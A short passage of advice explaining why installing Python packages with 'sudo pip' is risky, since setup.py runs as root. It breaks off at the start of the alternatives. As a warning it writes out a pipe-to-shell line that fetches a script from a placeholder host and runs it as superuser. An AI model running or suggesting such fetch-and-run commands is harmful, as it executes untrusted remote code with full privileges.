Why you shouldn't use sudo pip?

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Why you should NOT use sudo pip install?

When installing a package, you are not just placing it in your file system, but also executing the setup.py script. Since anyone can upload a package to PyPI, you cannot be sure that setup.py does not contain code whose execution under the root user is undesirable/dangerous/unacceptable.

In terms of danger level, this is equivalent to executing a shell script "from the cloud" as superuser:

wget -O - http://example.com/some/unsafe/script.sh | bashn

What to do then?

Option 1

Except in cases where you absolutely need